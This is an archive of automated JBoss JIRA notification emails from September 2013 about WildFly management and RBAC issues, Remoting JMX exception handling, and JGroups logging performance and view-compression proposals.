     "init" => 1366294528L,
     "used" => 92433896L,
     "committed" => 1309081600L,
     "max" => 1309081600L
}
{noformat}


But the actual values (using CLI) are:

{noformat}
[domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
{
    "outcome" => "success",
    "result" => {
        "heap-memory-usage" => {
            "init" => 67108864L,
            "used" => 36680856L,
            "committed" => 188547072L,
            "max" => 477233152L
        },
       [...]
    }
}
{noformat}

  was:
Trying to read the heap memory usage from a host vm, we've disovered that a composite response, thorugh the http layer, returns bogus data. 

This is the operation that we execute over HTTP:

{noformat}
 {
     "operation" => "composite",
     "address" => [],
     "steps" => [
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "memory")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "threading")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "runtime")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "operating-system")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         }
     ]
 }
{noformat}


Here's the response for the relevant heap section:

{noformat}
{
     "init" => 1366294528L,
     "used" => 92433896L,
     "committed" => 1309081600L,
     "max" => 1309081600L
}
{noformat}


But the actual values (using CLI) are:

{noformat}
[domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
{
    "outcome" => "success",
    "result" => {
        "heap-memory-usage" => {
            "init" => 67108864L,
            "used" => 36680856L,
            "committed" => 188547072L,
            "max" => 477233152L
        },
       [...]
    }
}
{noformat}


    
> Composite response returns bogus data
> -------------------------------------
>
>                 Key: WFLY-2062
>                 URL: https://issues.jboss.org/browse/WFLY-2062
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data. 
> This is the operation that we execute over HTTP:
> {noformat}
>  {
>      "operation" => "composite",
>      "address" => [],
>      "steps" => [
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "memory")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "threading")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "runtime")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "operating-system")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          }
>      ]
>  }
> {noformat}
> Here's the response for the relevant heap section:
> {noformat}
> {
>      "init" => 1366294528L,
>      "used" => 92433896L,
>      "committed" => 1309081600L,
>      "max" => 1309081600L
> }
> {noformat}
> But the actual values (using CLI) are:
> {noformat}
> [domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "heap-memory-usage" => {
>             "init" => 67108864L,
>             "used" => 36680856L,
>             "committed" => 188547072L,
>             "max" => 477233152L
>         },
>        [...]
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:16:05 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 05:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
	bogus data
In-Reply-To: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652000.25122.1379063765518@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2062?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804101#comment-12804101 ] 

Heiko Braun commented on WFLY-2062:
-----------------------------------

Please note:

a) It's not a console problem, we can reproduce it using curl.
b) it doesn't happen on wildfly master
c) it only occues on the most recent EAP 6.x branch


                
> Composite response returns bogus data
> -------------------------------------
>
>                 Key: WFLY-2062
>                 URL: https://issues.jboss.org/browse/WFLY-2062
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data. 
> This is the operation that we execute over HTTP:
> {noformat}
>  {
>      "operation" => "composite",
>      "address" => [],
>      "steps" => [
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "memory")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "threading")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "runtime")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "operating-system")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          }
>      ]
>  }
> {noformat}
> Here's the response for the relevant heap section:
> {noformat}
> {
>      "init" => 1366294528L,
>      "used" => 92433896L,
>      "committed" => 1309081600L,
>      "max" => 1309081600L
> }
> {noformat}
> But the actual values (using CLI) are:
> {noformat}
> [domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "heap-memory-usage" => {
>             "init" => 67108864L,
>             "used" => 36680856L,
>             "committed" => 188547072L,
>             "max" => 477233152L
>         },
>        [...]
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:20:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 05:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.25128.1379064003413@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reopened REMJMX-68:
------------------------------------


    
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:22:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.25135.1379064123623@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804103#comment-12804103 ] 

Bela Ban commented on JGRP-1693:
--------------------------------

Looks like the array creation is the biggest slowdown with varargs. The current solution/suggestion is to use a log.isTraceEnabled() before a log.trace() statement in time critical code. A medium term solution would be to create methods
{code}
log.trace(String format, Object arg1);
log.trace(String format, Object arg1, Object arg2);
log.trace(String format, Object arg1, Object arg2, Object arg3);
log.trace(String format, Object arg1, Object arg3, Object arg3, Object arg4);
log.trace(String format, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5);
{code}

Most trace() calls in JGroups have between 1 and 4 argument, so these calls above would cover perhaps 95% of all cases, and bypass the need for a vargarg call. However, the problem is that these calls also need to be provided by the underlying logging framework, e.g. log42.
                
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> h4. Questions / observations:
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> h4. Questions/observations:
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:22:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.25137.1379064123756@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804103#comment-12804103 ] 

Bela Ban edited comment on JGRP-1693 at 9/13/13 5:21 AM:
---------------------------------------------------------

Looks like the array creation is the biggest slowdown with varargs. The short-term solution is to use a log.isTraceEnabled() before a log.trace() statement in time critical code. A medium-term solution would be to create methods
{code}
log.trace(String format, Object arg1);
log.trace(String format, Object arg1, Object arg2);
log.trace(String format, Object arg1, Object arg2, Object arg3);
log.trace(String format, Object arg1, Object arg3, Object arg3, Object arg4);
log.trace(String format, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5);
{code}

Most trace() calls in JGroups have between 1 and 4 argument, so these calls above would cover perhaps 95% of all cases, and bypass the need for a vargarg call. However, the problem is that these calls also need to be provided by the underlying logging framework, e.g. log42.
                
      was (Author: belaban):
    Looks like the array creation is the biggest slowdown with varargs. The current solution/suggestion is to use a log.isTraceEnabled() before a log.trace() statement in time critical code. A medium term solution would be to create methods
{code}
log.trace(String format, Object arg1);
log.trace(String format, Object arg1, Object arg2);
log.trace(String format, Object arg1, Object arg2, Object arg3);
log.trace(String format, Object arg1, Object arg3, Object arg3, Object arg4);
log.trace(String format, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5);
{code}

Most trace() calls in JGroups have between 1 and 4 argument, so these calls above would cover perhaps 95% of all cases, and bypass the need for a vargarg call. However, the problem is that these calls also need to be provided by the underlying logging framework, e.g. log42.
                  
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
> The issue I'm having is that the new logging format log.trace("some string %s", string) is much slower than the old one if(log.isTraceEnabled()) log.trace("some string " + string).
> This is the case both with TRACE logging enabled and disabled !
> The logger here is basically a pass-through to log4j2.
> The test can be started with
> java org.jgroups.tests.bla5 10000 true // use the new format
>     or
> java org.jgroups.tests.bla5 10000 false / use the old format
> h3. Tracing disabled (org.jgroups.tests.bla5 = "warn"), 100000 iterations
> - OLD :5.0 M statements/sec
> - NEW: 2.7 M statements/sec
> h4. Questions / observations:
> - If I uncomment the log.isTraceEnabled() in NEW, I get the same perf (5 M) as with OLD, makes sense
> - If I remove the varargs, I get the same perf, too
> - Q: is it the creation of the vararg array and the copying of the args into it which takes so much time ?
> h3. Tracing enabled (org.jgroups.tests.bla5 = "trace"), 5000 iterations (prints to stdout)
> - OLD: 11'000 statements / sec
> - NEW:  7'200 statements / sec
> h4. Questions/observations:
> - If I don't pass the varargs, e.g. log.trace("static string"), the perf in NEW is 12'000 !
> - Q: is the parsing of the format string taking that much time, such that it is *slower* than the conversion of i into a string and the string concatenation/copying in the OLD version ?
> Some discussion on the core dwelt on the merits of using OLD versus NEW, and my take-away was that NEW was as fast as OLD. Is this not te case ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:24:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 13 Sep 2013 05:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.25148.1379064243780@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804106#comment-12804106 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

FYI the stuff mentioned about MBeanRuntimeException has been replaced by JMRuntimeException, see the updated REMJMX-68 and  https://github.com/jbossas/remoting-jmx/pull/13.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:24:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 05:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2063) Remove support for
 use-realm-roles in role mapping implementation, 
In-Reply-To: <JIRA.12500672.1379064239181@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500672.1379064239181@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500672.1379064239181.25154.1379064244030@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2063:
--------------------------------------

             Summary: Remove support for use-realm-roles in role mapping implementation,
                 Key: WFLY-2063
                 URL: https://issues.jboss.org/browse/WFLY-2063
             Project: WildFly
          Issue Type: Task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Critical
             Fix For: 8.0.0.Beta1


Is has been agreed that where the realms used for authentication and the loading of groups contain groups with the same names as the role names that a 1:1 role mapping should still be defined rather than providing a general short cut: -

{code}
                <role name="Monitor">
                    <include>
                        <group name="Monitor"/>
                    </include>
                </role>
{code}

Only the configuration to enable the short cut is to be removed, the internal implementation will be left in place in-case demand is identified to re-add it.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:26:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 05:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2063) Remove support for
 use-realm-roles in role mapping implementation, 
In-Reply-To: <JIRA.12500672.1379064239000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500672.1379064239000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500672.1379064239000.25157.1379064363491@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2063?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2063:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Task)

    
> Remove support for use-realm-roles in role mapping implementation,
> ------------------------------------------------------------------
>
>                 Key: WFLY-2063
>                 URL: https://issues.jboss.org/browse/WFLY-2063
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> Is has been agreed that where the realms used for authentication and the loading of groups contain groups with the same names as the role names that a 1:1 role mapping should still be defined rather than providing a general short cut: -
> {code}
>                 <role name="Monitor">
>                     <include>
>                         <group name="Monitor"/>
>                     </include>
>                 </role>
> {code}
> Only the configuration to enable the short cut is to be removed, the internal implementation will be left in place in-case demand is identified to re-add it.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:26:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1391) Compress MergeViews
In-Reply-To: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12452753.1321957501000.25165.1379064363882@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1391?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1391:
---------------------------

    Description: 
The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.

Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses. Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
then 'subgroups' can be compressed as follows:
subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}

This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.

Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.

Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

  was:
The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.

Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses. Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
Example: if we have MergeView A|22={A,B,C,D,E,X,Y,Z}, subgroups=A|21={A,B,C}, D|19={D,E}, X|20={X,Y,Z},
then 'subgroups' can be compressed as follows:
subgroups=0|21={0,1,2}, 3|19={3,4}, 5|20={5,6,7}

This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.

Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.

Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.


    
> Compress MergeViews
> -------------------
>
>                 Key: JGRP-1391
>                 URL: https://issues.jboss.org/browse/JGRP-1391
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.
> Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses. Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
> Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
> then 'subgroups' can be compressed as follows:
> subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}
> This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.
> Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.
> Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:28:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1391) Compress MergeViews
In-Reply-To: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12452753.1321957501000.25169.1379064483395@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1391?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1391:
---------------------------

    Description: 
The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.

Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses.

Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 

Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
then 'subgroups' can be compressed as follows:

subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}

This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.

Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.

Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

  was:
The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.

Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses. Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
then 'subgroups' can be compressed as follows:
subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}

This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.

Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.

Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.


    
> Compress MergeViews
> -------------------
>
>                 Key: JGRP-1391
>                 URL: https://issues.jboss.org/browse/JGRP-1391
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.
> Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses.
> Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
> Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
> then 'subgroups' can be compressed as follows:
> subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}
> This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.
> Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.
> Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:41:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1354) Compress views
In-Reply-To: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444903.1313572136000.25212.1379065263412@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1354?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1354:
---------------------------

    Description: 
In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).

The view currently contains *all members*, and the serialized VIEW message can be large.

The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.

This can be done by:
* Sending the first view of a given coordinator as full view
* Sending subsequent views only as diffs (delta views)
** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
* When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
* When the coordinator changes, the new coordinator always sends its first view as full view
* MergeViews are always sent as full views
